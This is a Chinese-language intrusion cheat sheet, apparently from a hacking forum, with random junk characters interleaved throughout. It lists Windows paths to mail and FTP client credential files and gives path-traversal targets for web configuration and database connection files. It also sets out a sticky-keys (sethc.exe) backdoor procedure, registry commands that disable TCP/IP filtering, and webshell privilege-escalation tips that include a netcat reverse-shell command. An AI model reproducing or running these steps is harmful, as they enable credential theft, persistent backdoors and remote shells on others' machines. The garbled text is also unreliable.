4 D" R" x7 Q0 |8 u6 Fc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
* G0 d7 _8 }3 _( H, K3 S; IC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
" N( z" Y3 ?' @2 w( V1 R: hc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
: k/ o6 q: B, r0 iC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
6 K& U" `; h- s+ P: W! o% Nc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
  u/ U/ u5 m7 x* c: H- `$ y" hc:\Program Files\tencent\QQGAME\readme.txt
$ g* W  K# T; H- m) IC:\Program Files\StormII\Storm.exe
2 D* ]$ R! q( v  C* q% e: x
3.网站相对路径:
) r/ L1 L% F! _. S
: |& c3 |1 r1 X  F3 R- Y/config.php
../../config.php
0 e2 c* i9 `3 n! i, I9 i/ _../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
- q0 y, w# E2 H) r../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
- o0 }. G( w* x/ B0 N../../conn.php
../conn.php
../../../conn.php
. T- P9 {2 _/ t, Y% r/conn.asp
./conn.asp
. L1 a5 F3 s- u# h: O3 G../../conn.asp
../conn.asp
( o% F# I. Y( x' u3 o" M../../../conn.asp
/config.inc.php
1 F) C+ p& o3 u7 z/ z./config.inc.php
../../config.inc.php
2 R4 \* e8 c& B, B2 Q. C$ u../config.inc.php
../../../config.inc.php
' D3 ]5 P1 v0 _- ]/config/config.php
  H* h" R% N' w0 s8 r../../config/config.php
../config/config.php
../../../config/config.php
/ C& P+ y; d4 F3 G& m6 u3 d/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
1 ]8 s, D" K/ P# S7 d+ `../config/config.inc.php
- B# m  H7 Q+ M0 W4 C- i" H( l../../../config/config.inc.php
/config/conn.php
./config/conn.php
" l4 S) F3 g( F6 U../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
, L& r9 [: z) g% f./config/conn.asp
$ g) J# c% B" [+ Q8 k# S../../config/conn.asp
6 q0 y7 ~1 l7 o../config/conn.asp
../../../config/conn.asp
* D+ b$ A7 a$ g1 l: w/config/config.inc.php
./config/config.inc.php
  _/ y: g* n  s( R" B* Q0 ^3 i../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
8 g. Q1 s+ o- @) x; e' ~  C../../data/config.php
' Q9 W* h# z- D& b../data/config.php
9 d2 V5 O9 J, f../../../data/config.php
  [0 i" k; m. V2 T1 }/data/config.inc.php
" I5 J9 r2 T) |; J. V5 Q./data/config.inc.php
* z  }$ ^& V: x) Q../../data/config.inc.php
4 t) E; `: T8 E8 Q3 v3 v/ I! ^7 E../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
' ~, V/ X/ \0 k3 f7 }./data/conn.asp
# W1 K9 g5 I1 ]1 d../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
. }% X8 U  @; p4 z6 _! E1 ^* J/data/config.inc.php
% R8 I$ l8 M3 R; i) F& ]( ]9 p./data/config.inc.php
* l5 z3 I3 ?# }2 @$ u../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
8 g% G; ~* ?3 S5 S../../include/config.php
" Q. n1 {( |! O6 ?+ [7 h+ n../include/config.php
../../../include/config.php
3 u3 {3 m' Q" {+ w( }5 ~/include/config.inc.php
5 c0 |* o: t8 l./include/config.inc.php
../../include/config.inc.php
+ p; @  y0 g. S3 G2 a" }/ d. i1 C../include/config.inc.php
& ^3 V, l' S5 [0 R- n../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
+ {3 p' p/ T% x/ j8 s6 z) x../include/conn.php
../../../include/conn.php
/include/conn.asp
+ B; W$ `% a1 g: p- X+ L0 u./include/conn.asp
) V( F. P8 H7 q; }../../include/conn.asp
4 l- s5 \6 J4 f# I3 i& u7 D../include/conn.asp
& J- Z; ^- T, }../../../include/conn.asp
/include/config.inc.php
- J: J. t& t4 z3 j+ s8 h! }7 [* ^* v./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
, j1 o: @! [8 ^7 d2 Z../../../include/config.inc.php
/inc/config.php
+ S6 n' x$ m) d8 I( |../../inc/config.php
../inc/config.php
../../../inc/config.php
& _/ b$ P# U! T) N/inc/config.inc.php
) ^) k) K7 i- i% r3 k./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
% K* }% O& e- k/inc/conn.php
./inc/conn.php
0 T9 W7 p7 H. M% Z8 @0 h../../inc/conn.php
! a" _4 `& v3 [+ @../inc/conn.php
3 h7 s1 x* `# s! K3 b5 @2 W../../../inc/conn.php
5 v$ B; Z5 i4 q; W/ q" N( b/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
, e; E( g- Q: v2 L9 a1 Q( p2 M/inc/config.inc.php
9 |7 ^4 t2 B' J# D4 P) G% i./inc/config.inc.php
* X$ [2 W. b% A  U; }" g" G../../inc/config.inc.php
! Z3 W& E" Z# I3 c- N% z$ Z../inc/config.inc.php
../../../inc/config.inc.php
7 h: L& E( y# W- [0 X/index.php
2 L% T5 S* l- \& y./index.php
' M" y# Z: P) G% \( I../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
9 s& q- p+ r. L% C5 K# q; e　attrib c:\windows\system32\sethc.exe -h -r -s
1 {2 c* s+ d& m1 Y# y* G
/ }" \! m  Q6 }! ^9 i/ w7 e* x　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

! ~- N2 o& J, I; k2 t; t6 W/ r3 k　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
6 k2 v8 s( z& Z: H
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

) H) O/ E& `' f, D6 Q9 N9 Q8 W7 o　　attrib c:\windows\system32\sethc.exe +h +r +s

6 Q/ ^) D! y$ Z( J7 d& ]# b　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
$ s5 E+ S3 |! i& T5 S: Z- X9 w$ i去除TCPIP筛选
7 l( w6 \: Y- sTCP/IP筛选在注册表里有三处，分别是：
, L  Q4 E; X, A9 @HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
/ e) [, u7 a" ]7 Q( G( Zregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
. {: g7 Y7 h! g
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
' p2 [: ?: @9 j' _7 q8 }2 P+ O
再将以上三个文件分别用
regedit -s D:\a.reg
6 P% O2 X$ V1 G- v+ hregedit -s D:\b.reg
* s; u8 Z8 |- `9 Jregedit -s D:\c.reg
导入注册表即可

9 t) Z, q6 s- Uwebshell提权小技巧
cmd路径:
" ^! W3 e* T* L% {) P; Xc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

  P) C; M+ k! ]6 A; M' u而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
- S2 z! @! }* O0 I命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功